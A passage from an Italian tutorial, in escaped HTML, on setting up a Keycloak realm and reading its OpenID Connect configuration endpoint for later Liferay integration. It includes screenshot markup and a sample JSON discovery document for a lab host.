        &lt;source srcSet=&quot;/static/ab35c325eaa84def8331d5241d2bef26/c85cb/accesso-console-amministrazione-keycloak.webp 300w,/static/ab35c325eaa84def8331d5241d2bef26/e88ff/accesso-console-amministrazione-keycloak.webp 600w,/static/ab35c325eaa84def8331d5241d2bef26/92f8c/accesso-console-amministrazione-keycloak.webp 1200w,/static/ab35c325eaa84def8331d5241d2bef26/ba879/accesso-console-amministrazione-keycloak.webp 1519w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ab35c325eaa84def8331d5241d2bef26/5a46d/accesso-console-amministrazione-keycloak.png 300w,/static/ab35c325eaa84def8331d5241d2bef26/0a47e/accesso-console-amministrazione-keycloak.png 600w,/static/ab35c325eaa84def8331d5241d2bef26/c1b63/accesso-console-amministrazione-keycloak.png 1200w,/static/ab35c325eaa84def8331d5241d2bef26/fb4e7/accesso-console-amministrazione-keycloak.png 1519w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 2 - Console di amministrazione di Keycloak&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ab35c325eaa84def8331d5241d2bef26/c1b63/accesso-console-amministrazione-keycloak.png&quot; title=&quot;Figura 2 - Console di amministrazione di Keycloak&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Console di amministrazione di Keycloak&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Per ogni dubbio e/o approfondimento riguardo l&amp;#x27;installazione e configurazione di
Keycloak, fare riferimento alla documentazione ufficiale disponibile all’indirizzo
&lt;a href=&quot;https://www.keycloak.org/archive/documentation-15.0.html&quot;&gt;https://www.keycloak.org/archive/documentation-15.0.html&lt;/a&gt;&lt;/p&gt;&lt;h3 id=&quot;21---creazione-del-realm&quot;&gt;2.1 - Creazione del Realm&lt;/h3&gt;&lt;p&gt;Un &lt;strong&gt;Realm&lt;/strong&gt; in Keycloak è l&amp;#x27;equivalente di un tenant (gruppo di utenti che
condividono un accesso comune a un sistema software multi-tenant). Consente di
creare gruppi isolati di applicazioni e utenti. Per impostazione predefinita c&amp;#x27;è
un singolo realm in Keycloak chiamato &lt;strong&gt;master&lt;/strong&gt;, questo è dedicato alla gestione
di Keycloak e non dovrebbe essere utilizzato per il resto delle applicazioni.&lt;/p&gt;&lt;p&gt;Il primo step richiede la creazione di un nuovo Realm che potremmo per esempio
chiamare &lt;em&gt;smc-lab-local-relam&lt;/em&gt;.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ea938c8e986bc2197794bd15d39ca929/78363/creazione-nuovo-realm.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:30.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;123\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20123\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2062v61h66V43h333v40l1%2040%201-62V0H0v62m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ea938c8e986bc2197794bd15d39ca929/c85cb/creazione-nuovo-realm.webp 300w,/static/ea938c8e986bc2197794bd15d39ca929/e88ff/creazione-nuovo-realm.webp 600w,/static/ea938c8e986bc2197794bd15d39ca929/92f8c/creazione-nuovo-realm.webp 1200w,/static/ea938c8e986bc2197794bd15d39ca929/e8009/creazione-nuovo-realm.webp 1522w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ea938c8e986bc2197794bd15d39ca929/5a46d/creazione-nuovo-realm.png 300w,/static/ea938c8e986bc2197794bd15d39ca929/0a47e/creazione-nuovo-realm.png 600w,/static/ea938c8e986bc2197794bd15d39ca929/c1b63/creazione-nuovo-realm.png 1200w,/static/ea938c8e986bc2197794bd15d39ca929/78363/creazione-nuovo-realm.png 1522w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 3 - Creazione del nuovo Realm su Keycloak&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ea938c8e986bc2197794bd15d39ca929/c1b63/creazione-nuovo-realm.png&quot; title=&quot;Figura 3 - Creazione del nuovo Realm su Keycloak&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 3 - Creazione del nuovo Realm su Keycloak&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b1284da36bd872b82509885ae76aaead/7e881/visualizzazione-dettaglio-nuovo-realm.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;222\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20222\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20111v111h400l-167-1H67V43h332v89a1514%201514%200%20002-21V0H0v111m0%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b1284da36bd872b82509885ae76aaead/c85cb/visualizzazione-dettaglio-nuovo-realm.webp 300w,/static/b1284da36bd872b82509885ae76aaead/e88ff/visualizzazione-dettaglio-nuovo-realm.webp 600w,/static/b1284da36bd872b82509885ae76aaead/92f8c/visualizzazione-dettaglio-nuovo-realm.webp 1200w,/static/b1284da36bd872b82509885ae76aaead/74c35/visualizzazione-dettaglio-nuovo-realm.webp 1521w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b1284da36bd872b82509885ae76aaead/5a46d/visualizzazione-dettaglio-nuovo-realm.png 300w,/static/b1284da36bd872b82509885ae76aaead/0a47e/visualizzazione-dettaglio-nuovo-realm.png 600w,/static/b1284da36bd872b82509885ae76aaead/c1b63/visualizzazione-dettaglio-nuovo-realm.png 1200w,/static/b1284da36bd872b82509885ae76aaead/7e881/visualizzazione-dettaglio-nuovo-realm.png 1521w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 4 - Maschera di dettaglio del realm appena creato&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b1284da36bd872b82509885ae76aaead/c1b63/visualizzazione-dettaglio-nuovo-realm.png&quot; title=&quot;Figura 4 - Maschera di dettaglio del realm appena creato&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 4 - Maschera di dettaglio del realm appena creato&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;La figura precedente evidenzia l’endpoint della configurazione di OpenID Connect.
Questo endpoint contiene tutti i &lt;strong&gt;metadati di configurazione&lt;/strong&gt; che riguardano il
protocollo, come per esempio: Token URL, Authorization URL, Issuer, etc.
Queste informazioni saranno utili per le attività di configurazione successive,
sia su Keycloak sia su Liferay.&lt;/p&gt;&lt;p&gt;La URL di configurazione è in questo caso: &lt;a href=&quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/.well-known/openid-configuration&quot;&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/.well-known/openid-configuration&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Nota&lt;/strong&gt;: Questa è la URL che utilizzerà Liferay per ottenere i metadati di
configurazione, per questo motivo è importante che questo indirizzo sia
raggiungibile e che la configurazione dei certificati SSL/TLS sia corretta.&lt;/p&gt;&lt;p&gt;Puntando il proprio browser verso l&amp;#x27;indirizzo dei metadati di configurazione,
si otterrà un documento JSON come quello mostrato a seguire.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;json&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;issuer&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;authorization_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;token_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;introspection_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token/introspect&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;userinfo_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/userinfo&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;end_session_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/logout&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;jwks_uri&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/certs&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;check_session_iframe&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/login-status-iframe.html&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;grant_types_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;authorization_code&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;implicit&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;refresh_token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;password&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_credentials&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;urn:ietf:params:oauth:grant-type:device_code&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;urn:openid:params:grant-type:ciba&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;response_types_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;code&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;id_token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;id_token token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;code id_token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;code token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;code id_token token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;subject_types_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;public&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;pairwise&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;id_token_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;id_token_encryption_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RSA-OAEP&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RSA-OAEP-256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RSA1_5&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;id_token_encryption_enc_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A256GCM&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A192GCM&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A128GCM&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A128CBC-HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A192CBC-HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A256CBC-HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;userinfo_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;request_object_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;response_modes_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;query&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;fragment&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;form_post&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
